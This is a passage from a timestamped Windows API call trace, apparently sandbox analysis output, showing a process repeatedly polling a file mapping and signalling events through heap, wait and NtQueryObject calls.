lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.518] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.518] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.518] MapViewOfFile (hFileMappingObject=0x134, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.518] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.518] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.518] ResetEvent (hEvent=0xe8) returned 1 [0057.518] SetEvent (hEvent=0xec) returned 1 [0057.518] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.518] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.518] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.518] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.518] ResetEvent (hEvent=0xe8) returned 1 [0057.518] SetEvent (hEvent=0xec) returned 1 [0057.518] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.518] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.518] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.518] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.518] MapViewOfFile (hFileMappingObject=0x134, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.519] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.519] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.519] ResetEvent (hEvent=0xe8) returned 1 [0057.519] SetEvent (hEvent=0xec) returned 1 [0057.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.519] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.519] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.519] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.519] ResetEvent (hEvent=0xe8) returned 1 [0057.519] SetEvent (hEvent=0xec) returned 1 [0057.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.519] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.519] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.519] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.519] ResetEvent (hEvent=0xe8) returned 1 [0057.519] SetEvent (hEvent=0xec) returned 1 [0057.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.519] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.519] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.520] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.520] ResetEvent (hEvent=0xe8) returned 1 [0057.520] SetEvent (hEvent=0xec) returned 1 [0057.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.520] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.520] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.520] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.520] ResetEvent (hEvent=0xe8) returned 1 [0057.520] SetEvent (hEvent=0xec) returned 1 [0057.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.520] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.520] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.520] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.520] ResetEvent (hEvent=0xe8) returned 1 [0057.520] SetEvent (hEvent=0xec) returned 1 [0057.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.520] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.521] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.521] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.521] MapViewOfFile (hFileMappingObject=0x134, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.521] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.521] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.521] ResetEvent (hEvent=0xe8) returned 1 [0057.521] SetEvent (hEvent=0xec) returned 1 [0057.521] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.521] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.521] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.521] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.521] ResetEvent (hEvent=0xe8) returned 1 [0057.521] SetEvent (hEvent=0xec) returned 1 [0057.521] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.521] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.521] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.521] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.521] ResetEvent (hEvent=0xe8) returned 1 [0057.521] SetEvent (hEvent=0xec) returned 1 [0057.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.522] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.522] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.522] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.522] ResetEvent (hEvent=0xe8) returned 1 [0057.522] SetEvent (hEvent=0xec) returned 1 [0057.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.522] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.522] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.522] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.522] MapViewOfFile (hFileMappingObject=0x134, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.522] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.522] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.522] ResetEvent (hEvent=0xe8) returned 1 [0057.522] SetEvent (hEvent=0xec) returned 1 [0057.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.522] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.522] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.522] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.522] ResetEvent (hEvent=0xe8) returned 1 [0057.523] SetEvent (hEvent=0xec) returned 1 [0057.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.523] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.523] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.523] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.523] ResetEvent (hEvent=0xe8) returned 1 [0057.523] SetEvent (hEvent=0xec) returned 1 [0057.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.523] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.523] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.523] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.523] ResetEvent (hEvent=0xe8) returned 1 [0057.523] SetEvent (hEvent=0xec) returned 1 [0057.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.523] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.523] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.523] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.523] ResetEvent (hEvent=0xe8) returned 1 [0057.524] SetEvent (hEvent=0xec) returned 1 [0057.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.524] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.524] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.524] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.524] MapViewOfFile (hFileMappingObject=0x134, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.524] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.524] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.524] ResetEvent (hEvent=0xe8) returned 1 [0057.524] SetEvent (hEvent=0xec) returned 1 [0057.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.524] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.524] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.524] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.524] ResetEvent (hEvent=0xe8) returned 1 [0057.524] SetEvent (hEvent=0xec) returned 1 [0057.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.524] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.525] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.525] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.525] ResetEvent (hEvent=0xe8) returned 1 [0057.525] SetEvent (hEvent=0xec) returned 1 [0057.525] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.525] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.525] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.525] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.525] ResetEvent (hEvent=0xe8) returned 1 [0057.525] SetEvent (hEvent=0xec) returned 1 [0057.525] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.525] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.525] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.525] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.525] MapViewOfFile (hFileMappingObject=0x134, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.525] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.525] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.525] ResetEvent (hEvent=0xe8) returned 1 [0057.525] SetEvent (hEvent=0xec) returned 1 [0057.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.526] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.526] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.526] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.526] ResetEvent (hEvent=0xe8) returned 1 [0057.526] SetEvent (hEvent=0xec) returned 1 [0057.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.526] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.526] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.526] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.526] ResetEvent (hEvent=0xe8) returned 1 [0057.526] SetEvent (hEvent=0xec) returned 1 [0057.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.526] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.526] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.526] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.526] ResetEvent (hEvent=0xe8) returned 1 [0057.526] SetEvent (hEvent=0xec) returned 1 [0057.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.527] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.527] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.527] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.527] ResetEvent (hEvent=0xe8) returned 1 [0057.527] SetEvent (hEvent=0xec) returned 1 [0057.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.527] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.527] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.527] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.527] ResetEvent (hEvent=0xe8) returned 1 [0057.527] SetEvent (hEvent=0xec) returned 1 [0057.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.527] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.527] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.527] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.527] ResetEvent (hEvent=0xe8) returned 1 [0057.527] SetEvent (hEvent=0xec) returned 1 [0057.528] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.528] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.528] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.528] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.528] ResetEvent (hEvent=0xe8) returned 1 [0057.528] SetEvent (hEvent=0xec) returned 1 [0057.528] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.528] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.528] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.528] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.528] ResetEvent (hEvent=0xe8) returned 1 [0057.528] SetEvent (hEvent=0xec) returned 1 [0057.528] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.528] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.528] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.528] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.528] ResetEvent (hEvent=0xe8) returned 1 [0057.528] SetEvent (hEvent=0xec) returned 1 [0057.529] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.529] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.529] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.529] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.529] ResetEvent (hEvent=0xe8) returned 1 [0057.529] SetEvent (hEvent=0xec) returned 1 [0057.529] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.529] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.529] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.529] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.529] ResetEvent (hEvent=0xe8) returned 1 [0057.529] SetEvent (hEvent=0xec) returned 1 [0057.529] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.529] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.529] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.529] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.529] ResetEvent (hEvent=0xe8) returned 1 [0057.529] SetEvent (hEvent=0xec) returned 1 [0057.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.530] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.530] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.530] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.530] ResetEvent (hEvent=0xe8) returned 1 [0057.530] SetEvent (hEvent=0xec) returned 1 [0057.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.530] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.530] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.530] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.530] ResetEvent (hEvent=0xe8) returned 1 [0057.530] SetEvent (hEvent=0xec) returned 1 [0057.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.530] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.530] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.530] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.530] ResetEvent (hEvent=0xe8) returned 1 [0057.530] SetEvent (hEvent=0xec) returned 1 [0057.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.531] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.531] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.531] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, 